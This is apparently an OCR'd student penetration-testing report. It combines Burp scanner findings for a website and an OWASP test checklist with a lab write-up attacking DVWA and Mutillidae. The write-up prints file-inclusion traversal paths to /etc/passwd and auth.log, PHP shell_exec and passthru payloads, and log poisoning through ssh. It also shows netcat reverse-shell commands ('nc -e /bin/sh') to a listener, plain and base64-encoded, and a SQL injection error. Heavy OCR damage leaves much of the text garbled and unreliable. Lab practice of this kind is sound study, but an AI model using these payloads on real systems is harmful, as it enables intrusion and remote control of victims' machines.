« CWE-942: Overly Permissive Cross-domain Whielst
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0 Password field with autocomplete enabled

sue: Password field with autocomplete enabled
Severty:  Low

Confidence:  Certain

Host htps:itevelcyber.com

Issue background

Most browsers have a faciy to remember user credenias that are entered ino HTHL forms. This function can be configured by the user and also by appications that employ user credentis. fthe
function s enabled, then credentials entered by the user are stored on ther local computer and retreved by the browser on future vsits o the same application.

“The stored credentials can be Captured by an attacker who gains control over the user's computer. Further, an attacker who finds a separate appication vunerabilty such as cross-ste scripting may.
e able o explt this o retrieve a user's browser-stored credentals.

Issue remediation

To prevent browsers from storing credentials entered ino HTIL forms, nclude the atirbute autocomplete="off" within the FORI tag (t protect al form fieks) or witin the relevant INPUT tags (to
protect specific ndividual fieks).

Please note that moden web browsers may ignore this directive. n spite o tis there is a chance that not disabing autocomplete may cause problems obtaining PCI compiance.

Vulnerability classifications.

« CWE-200: nformation Exposure
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v @) strict transport security not enforced (8]
o
O iwp-contenticache/wpfc-minifisd/Emaqtstolg3kng. css
O iwp-contenticache/wpfc-minifisd/Sbb0zryolg3kng js
O iwp-contenticache/wpfc-minifisd/d7vdu2djg3kng.css
© nwup-contenticachefwpfc-minifiedimaSqqessigkng.css
O iwp-contenticache/wpfc-minifisdioBnv6242/3yE7 css
O iwp-contentiplugins/contact-form-7/includes/is/scripts.js
© nwp-contentiplugins/emaikbefore-downloadipublic/s/emai-before-download-public s
O Iwp-includes/is/mediaelementimediaelement-and-player.min s
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0 Strict transport security not enforced

sue: Strict transport security not enforced
Severty:  Low

Confidence:  Certain

Host https:tevelcyber.com

path: Iwp-contenticache wpfc-minified/sm9qt9tolg3kng.css

Issue description

The appliation fais o prevent users from connecling to #over unencrypted connections. An aftacker able to modify a egfimate user's network traffc could bypass the applcatin's use of
‘SSUTLS encryption, and use the application as a platform for atacks agaist s users. This atack i performed by rewriing HTTPS finks as HTTP, So that i a targeted user folows a ik to the st
from an HTTP page, their browser never atiemps {0 use an encrypted connection. The ssistp tool automates tis process.

To explothis vuinerabilty, an attacker must be sutably positioned {0 intercept and modiy the vieiTs networktraffc Ths scenario typically occurs when a cent communicates Wit the server
over an nsecure connecton such as publc Wi, or a corporate or home network that s shared with a compromised computer. Common defenses such as switched networks are not sufficent to
prevent ths. An atiacker stuated i the user's ISP o the application’s hosting nfrastructure could also perform tis atack. Note that an advanced adversary coud potentialy target any connection
‘made over the Internet's core infrastructure.

Issue remediation
The application shoud nstruct web browsers to ony access the appiicaton using HTTPS. To do this, enable HTTP Strict Transport Securfy (HSTS) by adding a response header wih the name
“Strict-Transport-Securty’ and the value ‘max-age=expireTime', where expireTime is the fime n seconds that browsers should remember that the ste should only be accessed using HTTPS.
‘Consider adding the ‘ncludeSubDomains' flag f approprate.

Note that because HSTS i a trust on fist use" (TOFU) protocol, a user who has never accessed the appication wil never have seen the HSTS header, and wil herefore silbe vulnerable o SSL
stripping aftacks. To miigate this risk, you can optonally add the ‘preioadfag o the HSTS header, and submi the domain for review by browser vendors.

References.

« HTT Strict Transport Secury.
« ssisirp.
- HSTS Prefoad Form

Vulnerability classifications.

« CWE-523: Unprotected Transport of Credentials
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Configuration and

Deploy Management Test Name. Description Tools Result | Remark

Testing = = =
nderstand the infrastructure elements nteractions,

OTG-CONFIG-001  [Test Networkinfrastructure Configuration management or sofware, 1 DB server, WebDAV, FTP in Not Started

order to identity know

OTG-CONFIG-002

Test Application Platform Configuration

e denut

OTG-CONFIG-003

[Test File Extensions Handling for Sensitive Information

Find important file, information (asa

sal .zip, tar, pf, bt
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OTG-AUTHZ-001

Testing Directory traversalffle include

ot-dot-slash attack (/) Directory traversal, Local File
inclusion/Remote File Inclusion.

Bu Proxy, ZAP, Wiuzz

OTG-AUTHZ-002

Testing for bypassing authorization schema

Access a resource without authentication?, Bypass ACL. Force,
browsing (/admin/adduserjsp)

Burp Proxy (Autorize), ZAP

OTG-AUTHZ-003

Testing for Privlege Escalation

Testing for ole/privilege maniptiate the vallies of hidden variables.
 Change some param groupid=2 to groupid=1

Bur Proxy (Autorize), ZAP

(OTG-AUTHZ-004

Testing for Insecure Direct Object References

Force changing parameter value (7invoice=123 -= Zinvoice=456)

Burp Proxy (Autorize), ZAP
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.

(" Amend URL parameters in DVWA fie
inclusion webpage to search for ile
vuinerabilties
11119216868 113/dvwalvuinerabilies 2|
page=include php

(S J

1) [dvwalvuinerabilties/fiinclude. php.
2) ldvwalvulnerabilities/fi?page=. /11 include.php.

Try and access well known wriable fles
in the operating system you are
attacking listed in Maltego, flerce etc

2

'3) Environ file s accessiable
lsee screenshot two.

1) ?page=php:/finput&cmd=Is.
2) <2php echo shell_exec(S_GET[cmd?);?> 4 mpz:‘s:m ‘accessible see.
3Vdvwalvuinerabilties/f/page=../. /... Iprociselilenviron screenshot two.
“4dvwalvuinerabilties/t/?page=... .. lelclpasswa~ 5) Auth log fle is accessible
5) dvwalvunerabilties//2page=. .1/ Narflog/auth 1og (Screensho Three)

A /

intercept wiebsite browsing Using Burpsuite 1o add PH
Passthru code into the Agent field which wil be.

implanted into the website. Try and use Netcat
‘Command to enable a reverse connection and gain full
control
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o\
(

1) Command run on Kaii server|
frying to access the website
(Screenshot Seven)

) Netca istning command un on K Server =~ 12) PHP code added to
nc-v -l 8888 —ves» Bumsuite. Successful
 2h<passinuCnc - ish 162.168.68.122 885872 connection to Kal Linux server
- {from DVWA website using
Passihru command
|(Screenshot Seven).

\

Confinue i ot
successful, try SSH
on kall o linux using
PHP Passthru
command

1) Command run on Kaii server|
frying to access the website
(Screenshot Seven)

2) SSH from Kali server to
implant code info Auth.Iog file.

! Netcat istening command run on Kali Si Bash seeing code as bad
_ nC-w-1-p 2020 \\ characters, need to encode
< 2)ssh"<? oo > R

“passthru(base64_decode("bmMgLWUgL2Jpbi9zaCAXOT luse PHP commands base64.

(TY4LY4LIEYMIAYMDIV))?>"@192.168. 68, /and decode so its decoded
S >~ before being implanted into
lauth.log (Screenshot 10 & 11)

/ssh “2passthru('nc -e fbinsh
1192.168.68.122 2020°);?
='@192.168.68.113
(Screenshot Seven).
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cC o © % 192.168.68.113/dvwa/vulnerabilities/f/include.php

Fatal error: Call to undefined function dvwaExternalLinkUrlGet() in /var/www/dvwa/vulnerabilities/fi/include.php on line 15
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CT_STATUS=200HTTP_HOST=192168.68 116HTTP 1S = WXeT= ) e[ N U e A T e 0 NPT EFirefox/75.0H
feflateHTTP_CONNECTION=keep-aliveHTTP_COOKIE=security=low; PHPSESSID=efcf1117a176503f51266d563de5a764HTTP_UPGRADE_INSECURE
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<« c @ © 4 192.168.68.116/dvwa/vulnerabilities/fi/2page=../././././var/log/auth.log

lay 24 06:47:02 metasploitable CRON[5390]: pam_unix(cron'session): session closed for user root May 24 06:47:29 metasploitable CRON[5331}: pam_unix(cronsession): session closed for user root May 24 09:20:21 metas
.0.0.0 failed: Address already in use. hiay 30 13:59:50 metasploitable SSha[4598]: Server listening on - port 22. May 30 13:59:50 metasploitable ssha[4598: error: Bind to port 22 on 0.0.0.0 failed: Address already in use. hlay 3
stening on : port 22. May 30 13:50:55 metasploitable ssha[4827]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use. May 30 14:03:45 metasploitable login[5165]: pam_unix(login:session): session opened for user
ser root by (uid=0) May 30 14:09:01 metasploitable CRON[5296]: pam_unix(crom:session): session closed for user root May 30 14:17:01 metasploitable CRON[5319]: pam_unix(cron:session): session opened for user root by
14:30:54 metasploitable sudo: msfadmin : TTY=tty1 ; PWD=home/msfadrmin ; USER=root; COMMAND=/usr/bininano Marwwwimutilidae/config.inc May 30 14:30:54 metasploitable sudo: pam_unix(sudo:session): session ope
sef root May 30 14:38:01 metasploitable CRON[5352]: pam_unix(cron:session): session opened for user root by (uid=0) May 30 14:39:01 metasploitable CRON[5352]: pam_unix{cron:session): session closed for user root i:
A e e B AT E AL P i An AR O ot o BN E AR e i e e e A Aena A e
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<« c @ © £ 192.168.68.113/dvwa/vulnerabilities/fi/2page=../././././var/log/auth.log

in 21 04:27°58 metasploitable ssd[4662]: Server listening on - port 22 Jun 21 04:27:58 metasploitable sshd[4662]- error: Bind {o port 22 on 0.0.0.0 failed: Address already in use. Jun 21 04:28:18 metasploitable login[5183]: pam_unix(login:sessior
RON[5317]: pam_unix{cron:session): session opened for user root by (uid=0) Jun 21 04:38:01 metasploitable CRON[5317]: pam_unix(cron:session): session closed for user root Jun 21 05:08:01 metasploitable CRON[5390]: pam_unix{cron:sessic
am_unix(cronsession): session closed for user root Jun 21 05:17:01 metasploitable CRON[5419]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 21 05:17:01 metasploitable CRON[E418: pam_unix(cronsession): session c
pened for user root by (uid=0) Jun 21 05:39:01 metasploitable CRON[5456]. pam_unix(cron:session): session closed for user root Jun 21 08:04:24 metasploitale ssha[4801]: Server listening on - port 22. Jun 21 08:04:24 metasploitable ssha[4501
Sha[4501] Received SIGHUP: restarting. Jun 21 08:04:25 metasploitable ssha[4782] Sewver listening on - port 22. Jun 21 08:04:25 metasploitable ssha[4782] error: Bind to port 22 on 0.0.0.0 failed: Address already in use. Jun 21 08:09:01 metasple
2:09:01 metasploitable CRON[5295]: pam_unix(cron:session): session closed for user root Jun 21 08:17:01 metasploitable CRON[S315]. pam_unix(cron:session): session opened for user root by (uid=0) Jun 21 08:17:01 metasploitable CRON[S31
RON[5340]: pam_unix{cron:session): session opened for user root by (uid=0) Jun 21 08:39:01 metasploitable CRON[5340}: pam_unix(cron:session): session closed for user oot Jun 21 09:03:53 metasploitable login{5172]: pam_unix(loginauth):
uthentication failure; Iogname=LOGIN uid=0 euid=0 ty=ty1 ruser= rhost= Jun 21 09:03:55 metasploitable login[5172]: FAILED LOGIN (1) on ‘ty1" FOR "UNKNOWN', User not known {o the underlying authentication module Jun 21 09:04:02 metasploit
109:09:01 metasploitable CRON[5425]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 21 08:09:01 metasploitable CRON[S425] pam_unix(cron:session): session closed for user foot Jun 2109:17:01 metasploitable CRONIE
etasploitable CRON[5448] pam_unix(cronsession): session closed for user root Jun 21 09:39:01 metasploitable CRON[5479]: pam_unix(cron:session): session opened for user root by (uig=0) Jun 21 09:39:01 metasploitable CRON[5479]: pam_t
m_unix(cronsession): session opened for user root by (uid=0) Jun 2110:09:01 metasploitable CRON[S565] pam_unix(cronsession): session closed for user root Jun 21 10:17:01 metasploitable CRON[S594] pam_unix(cronsession): session o
am_unix(cronsession): session closed for user root Jun 21 10:39:01 metasploitable CRON[5625]. pam_unix(cron:Session): session opened for user root by (uid=0) Jun 21 10:39:01 metasploitable CRON[S625]. pam_unix(cronsession): session
3:42:22 metasploitable sshdl4643} error: Bind to port 22 on 0.0.0.0 failed: Address already in use. Jun 21 13:33:59 metasploitable login{5168] pam_unix(loginsession): session opened for user msfadmin by LOGIN(uid=0) Jun 21 13:34:46 metaspl
ininano configinc Jun 21 13:34:46 metasploitable sudo: pam_unix(sudo:session): session opened for user foot by msfadmin(uid=0) Jun 21 13:34:46 metasploitable Sudo: pam_unix(sudo:session): session closed for user root Jun 21 13:39:01 me
3:39.01 metasploitable CRON[S305]. pam_unix(cron:session): session closed for user root Jun 21 14:09:01 metasploitable CRON[S848]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 21 14:09:01 metasploitable CRON[E64
RON[G668]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 21 14:17:01 metasploitable CRON[S668]: pam_unix(cron:session): session closed for user root Jun 23 17:01:03 metasploitable ssha[4844] Server listening on - po
ready in use. Jun 23 17:09:01 metasploitable CRON[5295]: pam_unix(cron‘session): session opened for user root by (uid=0) Jun 23 17:09:01 metasploitable CRON[5295]: pam_unix(cron'session): session closed for user root Jun 23 17:09:23 met;
OGIN(uid=0) Jun 23 17:17.01 metasploitable CRON[5325]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 23 17:17:01 metasploitable CRON[5325]: pam_unix{cron:session): session closed for user root Jun 23 17:33.01 meta
7:39:01 metasploitable CRON[5368] pam_unix(cron:session): Session closed for user root Jun 23 18:09:01 metasploitable CRON[5433]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 23 18:09:01 metasploitable CRON[543
RON[5454]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 23 18:17:01 metasploitable CRON[5454]: pam_unix(cron:session): session closed for user root Jun 23 18:39:01 metasploitable CRON[5494]: pam_unix{cron:sessic
am_unix(cronsession): session closed for user root Jun 23 19:09:01 metasploitable CRON[S568]: pam_unix(cron:session): session opened for user root by (uid=0) Jun 23 18:09:01 metasploitable CRON[SSGE]. pam_unix(cronsession): session c
pened for user root by (Uid=0) Jun 23 19:17-01 metasploitable CRON[5589] pam_unix(cron-session): session closed for user root Jun 23 19-32:48 metasploitable sudo: msfadmin - TTY=tty1 - PWD=/home/msfadmin : USER=root - COMMAND=/sbin
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# login as: kali
P kalie1s2.160.68.122's password:
Linux kali 5.5.0-Kalil-and6s #1 SMP Debian 5.5.13-2kalil (2020-04-03) x8€ 64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

ali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

You have new mail.

Last login: Sun Jun 21 14:10:25 2020 from 192.168.68.110
cali@kali:~§ nc -vv -1 -p 8888

listening on [any] 8888
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permitted by applicable law.
You have new mail.

Last login: Sun Jun 21 14:1
kaligkali:~$ nc -vv -1 -p 8888

listening on [any] 8888

192.168.68.110: inverse host lookup failed: Unknown host

connect to [192.168.68.122] from (UNKNOWN) [192.168.68.110] 58251
sent 0, rovd 23

kaligkali:~$ nc -vv -1 -p 8888

listening on [any] 8888

192.168.68.113: inverse host lookup failed: Unknown host

connect to [192.168.68.122] from (UNKNOWN) [192.168.68.113] 44223
pua
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B login as: kali
P kali6152.165.66.122's passuord:
Linux kali 5.5.0-kalil-amded #1 SMP Debian 5.5.13-2kalil (2020-04-03) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/+/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.

Last login: Sun Jun 28 14:04:03 2020 from 192.168.68.110

kali@kali:~-§

kali@kali:~$ ssh "Ipassthru("nc -e /bin/sh 192.168.68.122 20207);?>"@192.168.65.
113

Bad escape character '/bin/sh'.

kali@kali:~§

kali@kali:-§

kali@kali:~$ ssh "<?passthru("nc -e /bin/sh 192.168.68.122 20207);?>"@192.168.63]
113

Bad escape character '/bin/sh'.

kali@kali

kali@kali
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Error: Failure is always an option and this situation proves it

Line

Code

File

Message

Trace

" Diagnotic
Information

Ivar/wwwimutilidae/process-login-attempt. php

Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

latiine 1

40 Ivar/wwwimutilidae/index php(96): include() #1 {main)

| SELECT * FROM accounts WHERE username="Trevor' AND password=""

Did you setup/reset the DB?

Warning: Cannot modify header information - headers already sent by (output started at /variwwwimutillidae/process-login-attempt php:97) in Ivar/wwwimutillidae/index.php on line 148

Warning: Cannot modify header information - headers already sent by (output started at /variwwwimutillidae/process-login-attempt php:97) in Ivar/wwwimutillidae/index.php on line 254

Warning: Cannot modify header information - headers already sent by (output started at /variwwwimutillidae/process-login-attempt.php:97) in Ivar/wwwimutillidae/index.php on line 255

Warning: Cannot modify header information - headers already sent by (output started at /variwwwimutillidae/process-login-attempt php:97) in Ivar/wwwimutillidae/index.php on line 256

Q}@ Mutillidae: Born to be Hacked

Core Controls -

Version: 2119 Security Level: 0 (Hosed) _Hints: Disabled (0 - I try harder) Not Logged In

Home  Login/Register  Toggle Hints  Toggle Securi ResetDB  Viewlog  View Captured Data
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